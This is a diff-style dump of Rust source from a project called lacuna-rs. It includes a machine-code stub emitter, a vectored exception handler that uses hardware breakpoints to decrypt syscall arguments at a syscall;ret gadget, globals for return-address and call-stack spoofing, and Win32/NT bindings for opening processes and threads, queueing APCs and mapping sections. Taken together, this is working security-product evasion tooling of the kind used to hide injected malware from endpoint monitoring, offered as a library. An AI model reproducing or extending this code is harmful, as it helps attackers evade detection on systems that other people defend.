win::VirtualProtect(m, 0x1000, PAGE_EXECUTE_READ, &mut old);
}
Some(Stub { code: m })
}
#[inline]
fn emit(code: &mut [u8; 80], off: &mut usize, bytes: &[u8]) {
let n = bytes.len();
code[*off..*off + n].copy_from_slice(bytes);
*off += n;
}
#[inline]
fn patch_disp(code: &mut [u8; 80], disp_off: usize, target: usize) {
let disp = (target as i64 - (disp_off as i64 + 4)) as i32;
code[disp_off..disp_off + 4].copy_from_slice(&disp.to_ne_bytes());
}
+250
View File
@@ -0,0 +1,250 @@
//
// veh.rs — Vectored Exception Handler + hardware-breakpoint parameter
// encryption for lacuna-rs
//
// The VEH fires on DR0 (set on syscall;ret). It decrypts params only.
// Return-address spoofing is handled by the stub's epilogue.
// No DR1, no full_spoof, no [RSP] modification.
//
#![cfg(feature = "veh")]
#![allow(dead_code)]
use crate::win::{
LONG, PVOID,
CONTEXT, EXCEPTION_POINTERS,
EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH,
EXCEPTION_SINGLE_STEP, CONTEXT_DEBUG_REGISTERS,
CURRENT_THREAD, AddVectoredExceptionHandler, RemoveVectoredExceptionHandler,
GetThreadContext, SetThreadContext,
};
use core::sync::atomic::{AtomicBool, AtomicU64, AtomicUsize, Ordering};
use crate::win::ULONG64;
pub struct ParamCryptCtx {
pub key: AtomicU64,
pub armed: AtomicBool,
pub full_spoof: AtomicBool,
}
pub static G_PCRYPT: ParamCryptCtx = ParamCryptCtx {
key: AtomicU64::new(0),
armed: AtomicBool::new(false),
full_spoof: AtomicBool::new(false),
};
/// Runtime verbose flag — set via `set_verbose(true)` to enable VEH
/// diagnostic output (stack dumps, register prints). Off by default.
pub static G_VERBOSE: AtomicBool = AtomicBool::new(false);
/// Enable or disable verbose VEH diagnostics at runtime.
pub fn set_verbose(on: bool) {
G_VERBOSE.store(on, Ordering::Relaxed);
}
pub static G_RET_GADGET: AtomicU64 = AtomicU64::new(0);
pub static G_REAL_RET: AtomicU64 = AtomicU64::new(0);
pub const MAX_SPOOF: usize = 16;
pub static G_SAVED_SLOTS: [AtomicU64; MAX_SPOOF] = [
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
];
pub static G_SAVED_IDX: [AtomicUsize; MAX_SPOOF] = [
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0), AtomicUsize::new(0),
];
pub static G_N_SPOOFED: AtomicUsize = AtomicUsize::new(0);
pub static G_SPOOF_RSP: AtomicU64 = AtomicU64::new(0);
pub static G_EXE_BASE: AtomicU64 = AtomicU64::new(0);
pub static G_EXE_END: AtomicU64 = AtomicU64::new(0);
pub const STOMP_DEPTH: usize = 4;
pub static G_STOMP_SLOTS: [AtomicU64; STOMP_DEPTH] = [
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
];
pub static G_STOMP_PTRS: [AtomicU64; STOMP_DEPTH] = [
AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0), AtomicU64::new(0),
];
pub static G_STOMP_SAVED: AtomicU64 = AtomicU64::new(0);
pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0);
#[cfg(not(feature = "stack-spoof"))]
fn ghost_layers() -> [ULONG64; 4] { [0; 4] }
#[cfg(feature = "stack-spoof")]
fn ghost_layers() -> [ULONG64; 4] { crate::chain::ghost_layers() }
pub unsafe fn dump_stack_frame(ctx: &CONTEXT, label: &str) {
if !G_VERBOSE.load(Ordering::Relaxed) { return; }
let rsp = ctx.Rsp as *const u64;
let exe_base = G_EXE_BASE.load(Ordering::Relaxed);
let exe_end = G_EXE_END.load(Ordering::Relaxed);
let gh = ghost_layers();
eprintln!();
eprintln!(" +-- {} ---", label);
eprintln!(" | RIP = {:#018x} RSP = {:#018x}", ctx.Rip, ctx.Rsp);
eprintln!(" | RCX = {:#018x} R10 = {:#018x}", ctx.Rcx, ctx.R10);
eprintln!(" | RDX = {:#018x} R8 = {:#018x}", ctx.Rdx, ctx.R8);
eprintln!(" | R9 = {:#018x} RBX = {:#018x}", ctx.R9, ctx.Rbx);
eprintln!(" | DR0 = {:#018x} DR1 = {:#018x}", ctx.Dr0, ctx.Dr1);
eprintln!(" | DR6 = {:#018x} DR7 = {:#018x}", ctx.Dr6, ctx.Dr7);
eprintln!(" |");
eprintln!(" | exe range: {:#018x}-{:#018x}", exe_base, exe_end);
if gh.iter().all(|&g| g != 0) {
eprintln!(" | ghost layers: L1={:#018x} L2={:#018x} L3={:#018x} L4={:#018x}",
gh[0], gh[1], gh[2], gh[3]);
} else {
eprintln!(" | ghost layers: (not set)");
}
eprintln!(" |");
eprintln!(" | stack dump (RSP-relative):");
for i in -2isize..16isize {
let val = *rsp.offset(i);
let note: &str = if i == 0 { "<= [RSP]" }
else if val == 0 { "(null)" }
else if val >= exe_base && val < exe_end { "EXE" }
else { "" };
eprintln!(" | [{:+4}] {:#018x} {}", i, val, note);
}
eprintln!(" +{}+", "-".repeat(40));
eprintln!();
}
pub extern "system" fn param_encrypt_veh(ep: *mut EXCEPTION_POINTERS) -> LONG {
unsafe {
let rec = &*(*ep).ExceptionRecord;
if rec.ExceptionCode != EXCEPTION_SINGLE_STEP as i32 {
return EXCEPTION_CONTINUE_SEARCH;
}
let ctx = &mut *(*ep).ContextRecord;
if ctx.Dr6 & 0x1 == 0 || !G_PCRYPT.armed.load(Ordering::Relaxed) {
return EXCEPTION_CONTINUE_SEARCH;
}
let key = G_PCRYPT.key.load(Ordering::Relaxed);
let verbose = G_VERBOSE.load(Ordering::Relaxed);
if verbose {
eprintln!("{}{:#x}", lc!("[veh] DR0 hit -- at syscall;ret key="), key);
}
dump_stack_frame(ctx, "DR0: pre-syscall decrypt");
if key != 0 {
ctx.Rcx ^= key;
ctx.R10 ^= key;
ctx.Rdx ^= key;
ctx.R8 ^= key;
ctx.R9 ^= key;
if verbose {
eprintln!("{}RCX={:#018x} R10={:#018x} RDX={:#018x} R8={:#018x} R9={:#018x}",
lc!("[veh] decrypted: "),
ctx.Rcx, ctx.R10, ctx.Rdx, ctx.R8, ctx.R9);
}
}
ctx.Dr0 = 0;
ctx.Dr7 &= !0x1;
ctx.Dr6 = 0;
G_PCRYPT.armed.store(false, Ordering::Relaxed);
if verbose {
eprintln!("{}", lc!("[veh] DR0 cleared, continuing"));
}
EXCEPTION_CONTINUE_EXECUTION
}
}
pub extern "system" fn chain_veh(ep: *mut EXCEPTION_POINTERS) -> LONG {
unsafe {
let ctx = &mut *(*ep).ContextRecord;
let ip = ctx.Rip;
let gh = ghost_layers();
let in_chain = gh.iter().any(|&g| ip >= g.saturating_sub(16) && ip <= g + 16);
if in_chain {
if G_VERBOSE.load(Ordering::Relaxed) {
eprintln!("{}{:#018x}{}", lc!("[veh] chain_veh: RIP "), ip, lc!(" inside ghost frame"));
}
#[cfg(feature = "stack-spoof")]
{ crate::chain::stomp_restore(); }
ctx.Rsp = G_SAVE_RSP.load(Ordering::Relaxed);
ctx.Rip = G_STOMP_SAVED.load(Ordering::Relaxed);
return EXCEPTION_CONTINUE_EXECUTION;
}
EXCEPTION_CONTINUE_SEARCH
}
}
pub fn pcrypt_arm(key: u64, syscall_ret_addr: u64, full: bool) {
if syscall_ret_addr == 0 { return; }
G_PCRYPT.key.store(key, Ordering::Relaxed);
G_PCRYPT.armed.store(true, Ordering::Relaxed);
G_PCRYPT.full_spoof.store(full, Ordering::Relaxed);
unsafe {
let mut ctx: CONTEXT = core::mem::zeroed();
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(CURRENT_THREAD, &mut ctx);
ctx.Dr0 = syscall_ret_addr;
ctx.Dr7 = (ctx.Dr7 & !0xF) | 0x1;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(CURRENT_THREAD, &mut ctx);
}
}
pub fn pcrypt_disarm() {
G_PCRYPT.armed.store(false, Ordering::Relaxed);
unsafe {
let mut ctx: CONTEXT = core::mem::zeroed();
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(CURRENT_THREAD, &mut ctx);
ctx.Dr0 = 0;
ctx.Dr1 = 0;
ctx.Dr7 &= !0x5;
ctx.Dr6 = 0;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(CURRENT_THREAD, &mut ctx);
}
}
pub struct PcryptVehGuard { handle: PVOID }
impl PcryptVehGuard {
pub fn register() -> Option<Self> {
unsafe {
let h = AddVectoredExceptionHandler(1, param_encrypt_veh);
if h.is_null() { return None; }
Some(PcryptVehGuard { handle: h })
}
}
}
impl Drop for PcryptVehGuard {
fn drop(&mut self) {
if !self.handle.is_null() { unsafe { RemoveVectoredExceptionHandler(self.handle); } }
}
}
pub struct ChainVehGuard { handle: PVOID }
impl ChainVehGuard {
pub fn register() -> Option<Self> {
unsafe {
let h = AddVectoredExceptionHandler(1, chain_veh);
if h.is_null() { return None; }
Some(ChainVehGuard { handle: h })
}
}
}
impl Drop for ChainVehGuard {
fn drop(&mut self) {
if !self.handle.is_null() { unsafe { RemoveVectoredExceptionHandler(self.handle); } }
}
}
pub struct VehGuard {
pcrypt: Option<PcryptVehGuard>,
chain: Option<ChainVehGuard>,
}
impl VehGuard {
pub fn register() -> Option<Self> {
let pcrypt = PcryptVehGuard::register()?;
Some(VehGuard { pcrypt: Some(pcrypt), chain: None })
}
pub fn register_chain(&mut self) { self.chain = ChainVehGuard::register(); }
}
+452
View File
@@ -0,0 +1,452 @@
//
// win.rs — minimal Win32/NT FFI bindings for lacuna-rs
//
// We deliberately avoid pulling in the `windows`/`windows-sys` crates so the
// crate stays self-contained and compiles under `no_std` (alloc only). Only
// the prototypes actually used by the ported C code are declared here.
//
// Ported from lacuna_chain.c (typedefs at top of file).
//
#![allow(non_camel_case_types, non_snake_case, dead_code)]
use core::ffi::c_void;
// ── Primitive aliases ────────────────────────────────────────────────────────
pub type HANDLE = *mut c_void;
pub type HMODULE = *mut c_void;
pub type NTSTATUS = i32;
pub type ACCESS_MASK = u32;
pub type ULONG_PTR = usize;
pub type SIZE_T = usize;
pub type DWORD = u32;
pub type WORD = u16;
pub type BYTE = u8;
pub type ULONG64 = u64;
pub type DWORD64 = u64;
pub type LONG = i32;
pub type WCHAR = u16;
pub type BOOLEAN = u8;
pub type LARGE_INTEGER = i64;
pub type PSTR = *mut u8;
pub const NULL: HANDLE = core::ptr::null_mut();
// ── NT success ───────────────────────────────────────────────────────────────
#[inline]
pub fn nt_ok(s: NTSTATUS) -> bool {
s >= 0
}
// ── CLIENT_ID / OBJECT_ATTRIBUTES ────────────────────────────────────────────
#[repr(C)]
#[derive(Clone, Copy, Default)]
pub struct CLIENT_ID {
pub UniqueProcess: HANDLE,
pub UniqueThread: HANDLE,
}
// Minimal OBJECT_ATTRIBUTES — we only ever zero-init it.
#[repr(C)]
pub struct OBJECT_ATTRIBUTES {
pub Length: ULONG,
pub RootDirectory: HANDLE,
pub ObjectName: *mut c_void, // PUNICODE_STRING — we always pass NULL
pub Attributes: ULONG,
pub SecurityDescriptor: *mut c_void,
pub SecurityQualityOfService: *mut c_void,
}
impl Default for OBJECT_ATTRIBUTES {
fn default() -> Self {
Self {
Length: core::mem::size_of::<OBJECT_ATTRIBUTES>() as ULONG,
RootDirectory: core::ptr::null_mut(),
ObjectName: core::ptr::null_mut(),
Attributes: 0,
SecurityDescriptor: core::ptr::null_mut(),
SecurityQualityOfService: core::ptr::null_mut(),
}
}
}
pub type CID = CLIENT_ID;
// ── NT function pointer typedefs ─────────────────────────────────────────────
pub type PNtOpenProcess = extern "system" fn(
PHANDLE,
ACCESS_MASK,
*mut OBJECT_ATTRIBUTES,
*mut CLIENT_ID,
) -> NTSTATUS;
pub type PNtDelayExecution = extern "system" fn(BOOLEAN, *mut LARGE_INTEGER) -> NTSTATUS;
pub type PNtClose = extern "system" fn(HANDLE) -> NTSTATUS;
pub type PNtOpenThread = extern "system" fn(
PHANDLE,
ACCESS_MASK,
*mut OBJECT_ATTRIBUTES,
*mut CLIENT_ID,
) -> NTSTATUS;
pub type PNtQueueApcThread = extern "system" fn(
HANDLE,
PVOID,
PVOID,
PVOID,
PVOID,
) -> NTSTATUS;
pub type PNtAlertThread = extern "system" fn(HANDLE) -> NTSTATUS;
pub type PNtCreateSection = extern "system" fn(
PHANDLE,
ACCESS_MASK,
*mut OBJECT_ATTRIBUTES,
*mut LARGE_INTEGER,
ULONG,
ULONG,
HANDLE,
) -> NTSTATUS;
pub type PNtMapViewOfSection = extern "system" fn(
HANDLE,
HANDLE,
*mut PVOID,
ULONG_PTR,
SIZE_T,
*mut LARGE_INTEGER,
*mut SIZE_T,
ULONG,
ULONG,
ULONG,
) -> NTSTATUS;
pub type PNtUnmapViewOfSection = extern "system" fn(HANDLE, PVOID) -> NTSTATUS;
pub type PNtProtectVirtualMemory = extern "system" fn(
HANDLE,
*mut PVOID,
*mut SIZE_T,
ULONG,
*mut ULONG,
) -> NTSTATUS;
pub type PNtQueryInformationThread = extern "system" fn(
ThreadHandle: HANDLE,
ThreadInformationClass: ULONG,
ThreadInformation: PVOID,
ThreadInformationLength: ULONG,
ReturnLength: *mut ULONG,
) -> NTSTATUS;
// ── Unwind APIs (used by verify) ─────────────────────────────────────────────
#[repr(C)]
pub struct RUNTIME_FUNCTION {
pub BeginAddress: DWORD,
pub EndAddress: DWORD,
pub UnwindData: DWORD,
}
pub type PRUNTIME_FUNCTION = *mut RUNTIME_FUNCTION;
#[repr(C)]
pub struct UNWIND_HISTORY_TABLE_ENTRY {
pub ImageBase: DWORD64,
pub FunctionEntry: PRUNTIME_FUNCTION,
}
#[repr(C)]
pub struct UNWIND_HISTORY_TABLE {
pub Count: ULONG,
pub LocalHint: BYTE,
pub GlobalHint: BYTE,
pub Search: BYTE,
pub Once: BYTE,
pub LowAddress: DWORD64,
pub HighAddress: DWORD64,
pub Entry: [UNWIND_HISTORY_TABLE_ENTRY; 12],
}
pub type PRtlLookupFunctionEntry = extern "system" fn(
ControlPc: DWORD64,
ImageBase: *mut DWORD64,
HistoryTable: *mut UNWIND_HISTORY_TABLE,
) -> PRUNTIME_FUNCTION;
// RtlVirtualUnwind is variadic-ish in the SDK; we declare a concrete signature.
pub type PRtlVirtualUnwind = extern "system" fn(
HandlerType: ULONG,
ImageBase: DWORD64,
ControlPc: DWORD64,
FunctionEntry: PRUNTIME_FUNCTION,
ContextRecord: *mut CONTEXT,
HandlerData: *mut PVOID,
EstablisherFrame: *mut DWORD64,
ContextPointers: PVOID,
);
// ── CONTEXT (x64) ────────────────────────────────────────────────────────────
pub const CONTEXT_AMD64: DWORD = 0x0010_0000;
pub const CONTEXT_CONTROL: DWORD = CONTEXT_AMD64 | 0x0001;
pub const CONTEXT_INTEGER: DWORD = CONTEXT_AMD64 | 0x0002;
pub const CONTEXT_SEGMENTS: DWORD = CONTEXT_AMD64 | 0x0004;
pub const CONTEXT_FLOATING_POINT: DWORD = CONTEXT_AMD64 | 0x0008;
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x0010;
pub const CONTEXT_FULL: DWORD = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS;
#[repr(C, align(16))]
pub struct M128A {
pub Low: u64,
pub High: i64,
}
#[repr(C, align(16))]
pub struct CONTEXT {
pub P1Home: DWORD64,
pub P2Home: DWORD64,
pub P3Home: DWORD64,
pub P4Home: DWORD64,
pub P5Home: DWORD64,
pub P6Home: DWORD64,
pub ContextFlags: DWORD,
pub MxCsr: DWORD,
pub SegCs: WORD,
pub SegDs: WORD,
pub SegEs: WORD,
pub SegFs: WORD,
pub SegGs: WORD,
pub SegSs: WORD,
pub EFlags: DWORD,
pub Dr0: DWORD64,
pub Dr1: DWORD64,
pub Dr2: DWORD64,
pub Dr3: DWORD64,
pub Dr6: DWORD64,
pub Dr7: DWORD64,
pub Rax: DWORD64,
pub Rcx: DWORD64,
pub Rdx: DWORD64,
pub Rbx: DWORD64,
pub Rsp: DWORD64,
pub Rbp: DWORD64,
pub Rsi: DWORD64,
pub Rdi: DWORD64,
pub R8: DWORD64,
pub R9: DWORD64,
pub R10: DWORD64,
pub R11: DWORD64,
pub R12: DWORD64,
pub R13: DWORD64,
pub R14: DWORD64,
pub R15: DWORD64,
pub Rip: DWORD64,
pub FltSave: [u8; 512],
pub VectorRegister: [M128A; 26],
pub VectorControl: DWORD64,
pub DebugControl: DWORD64,
pub LastBranchToRip: DWORD64,
pub LastBranchFromRip: DWORD64,
pub LastExceptionToRip: DWORD64,
pub LastExceptionFromRip: DWORD64,
}
impl Default for CONTEXT {
fn default() -> Self {
unsafe { core::mem::zeroed() }
}
}
// ── EXCEPTION_RECORD / VEH ───────────────────────────────────────────────────
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x8000_0004;
#[repr(C)]
pub struct EXCEPTION_RECORD {
pub ExceptionCode: LONG,
pub ExceptionFlags: DWORD,
pub ExceptionRecord: *mut EXCEPTION_RECORD,
pub ExceptionAddress: PVOID,
pub NumberParameters: DWORD,
pub ExceptionInformation: [ULONG_PTR; 15],
}
#[repr(C)]
pub struct EXCEPTION_POINTERS {
pub ExceptionRecord: *mut EXCEPTION_RECORD,
pub ContextRecord: *mut CONTEXT,
}
pub type PVECTORED_EXCEPTION_HANDLER =
extern "system" fn(*mut EXCEPTION_POINTERS) -> LONG;
// ── Memory protection / allocation constants ─────────────────────────────────
pub type PVOID = *mut c_void;
pub type PHANDLE = *mut HANDLE;
pub type PULONG = *mut ULONG;
pub type ULONG = u32;
pub type PSIZE_T = *mut SIZE_T;
pub type PLARGE_INTEGER = *mut LARGE_INTEGER;
pub const MEM_COMMIT: DWORD = 0x0000_1000;
pub const MEM_RESERVE: DWORD = 0x0000_2000;
pub const MEM_RELEASE: DWORD = 0x0000_8000;
pub const PAGE_NOACCESS: DWORD = 0x01;
pub const PAGE_READONLY: DWORD = 0x02;
pub const PAGE_READWRITE: DWORD = 0x04;
pub const PAGE_EXECUTE: DWORD = 0x10;
pub const PAGE_EXECUTE_READ: DWORD = 0x20;
pub const PAGE_EXECUTE_READWRITE: DWORD = 0x40;
pub const ViewUnmap: ULONG = 2;
pub const ViewShare: ULONG = 1;
pub const SECTION_ALL_ACCESS: ACCESS_MASK = 0x000F_001F;
pub const SEC_COMMIT: ULONG = 0x800_0000;
pub const THREAD_SET_CONTEXT: ACCESS_MASK = 0x0010;
pub const THREAD_ALERT: ACCESS_MASK = 0x0004;
pub const THREAD_QUERY_INFORMATION: ACCESS_MASK = 0x0040;
pub const PROCESS_VM_OPERATION: ACCESS_MASK = 0x0008;
pub const PROCESS_VM_READ: ACCESS_MASK = 0x0010;
pub const PROCESS_VM_WRITE: ACCESS_MASK = 0x0020;
pub const PROCESS_QUERY_INFORMATION: ACCESS_MASK = 0x0400;
// ── Toolhelp32 ───────────────────────────────────────────────────────────────
pub const TH32CS_SNAPTHREAD: DWORD = 0x0000_0004;
pub const INVALID_HANDLE_VALUE: HANDLE = -1isize as HANDLE;
// ── Thread information classes (for NtQueryInformationThread) ─────────────────
pub const ThreadBasicInformation: ULONG = 0;
pub const ThreadTimes: ULONG = 1;
pub const ThreadCycleTime: ULONG = 23;
pub const ThreadSuspendCount: ULONG = 35;
pub type KAFFINITY = ULONG_PTR;
#[repr(C)]
#[derive(Clone, Copy, Default)]
pub struct KERNEL_USER_TIMES {
pub CreateTime: DWORD64,
pub ExitTime: DWORD64,
pub KernelTime: DWORD64,
pub UserTime: DWORD64,
}
#[repr(C)]
#[derive(Clone, Copy, Default)]
pub struct THREAD_CYCLE_TIME_INFORMATION {
pub AccumulatedCycles: DWORD64,
}
#[repr(C)]
#[derive(Clone, Copy, Default)]
pub struct THREAD_BASIC_INFORMATION {
pub ExitStatus: NTSTATUS,
pub TebBaseAddress: PVOID,
pub ClientId: CLIENT_ID,
pub AffinityMask: KAFFINITY,
pub Priority: LONG,
pub BasePriority: LONG,
}
#[repr(C)]
pub struct THREADENTRY32 {
pub dwSize: DWORD,
pub cntUsage: DWORD,
pub th32ThreadID: DWORD,
pub th32OwnerProcessID: DWORD,
pub tpBasePri: LONG,
pub tpDeltaPri: LONG,
pub dwFlags: DWORD,
}
// ── extern "system" kernel32/ntdll imports ───────────────────────────────────
type FARPROC = extern "system" fn() -> isize;
#[link(name = "kernel32")]
extern "system" {
pub fn GetModuleHandleA(lpModuleName: *const u8) -> HMODULE;
pub fn GetModuleHandleW(lpModuleName: *const u16) -> HMODULE;
pub fn LoadLibraryA(lpLibFileName: *const u8) -> HMODULE;
pub fn GetProcAddress(hModule: HMODULE, lpProcName: *const u8) -> Option<FARPROC>;
pub fn VirtualAlloc(
lpAddress: PVOID,
dwSize: SIZE_T,
flAllocationType: DWORD,
flProtect: DWORD,
) -> PVOID;
pub fn VirtualFree(lpAddress: PVOID, dwSize: SIZE_T, dwFreeType: DWORD) -> BOOL;
pub fn VirtualProtect(
lpAddress: PVOID,
dwSize: SIZE_T,
flNewProtect: DWORD,
lpflOldProtect: *mut DWORD,
) -> BOOL;
pub fn CloseHandle(hObject: HANDLE) -> BOOL;
pub fn CreateToolhelp32Snapshot(
dwFlags: DWORD,
th32ProcessID: DWORD,
) -> HANDLE;
pub fn Thread32First(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL;
pub fn Thread32Next(hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL;
pub fn OpenThread(
dwDesiredAccess: DWORD,
bInheritHandle: BOOL,
dwThreadId: DWORD,
) -> HANDLE;
pub fn GetCurrentThread() -> HANDLE;
pub fn GetCurrentProcess() -> HANDLE;
pub fn GetThreadContext(hThread: HANDLE, lpContext: *mut CONTEXT) -> BOOL;
pub fn SetThreadContext(hThread: HANDLE, lpContext: *mut CONTEXT) -> BOOL;
pub fn AddVectoredExceptionHandler(
First: ULONG,
Handler: PVECTORED_EXCEPTION_HANDLER,
) -> PVOID;
pub fn RemoveVectoredExceptionHandler(Handle: PVOID) -> ULONG;
pub fn GetLastError() -> DWORD;
pub fn SetConsoleOutputCP(wCodePageID: UINT) -> BOOL;
}
#[link(name = "ntdll")]
extern "system" {
pub fn NtDelayExecution(Alertable: BOOLEAN, DelayInterval: *mut LARGE_INTEGER) -> NTSTATUS;
}
// ── Convenience helpers ──────────────────────────────────────────────────────
pub type BOOL = i32;
pub type UINT = u32;
/// Get a module handle by ASCII name (e.g. b"ntdll.dll\0").
pub fn get_module(name: &[u8]) -> HMODULE {
unsafe { GetModuleHandleA(name.as_ptr()) }
}
/// Resolve an export by name from a loaded module.
pub fn get_proc(h: HMODULE, name: &[u8]) -> Option<*mut c_void> {
unsafe {
GetProcAddress(h, name.as_ptr()).map(|f| f as *mut c_void)
}
}
/// Current pseudo-handle (-2 == current thread, -1 == current process).
pub const CURRENT_THREAD: HANDLE = -2isize as HANDLE;
pub const CURRENT_PROCESS: HANDLE = -1isize as HANDLE;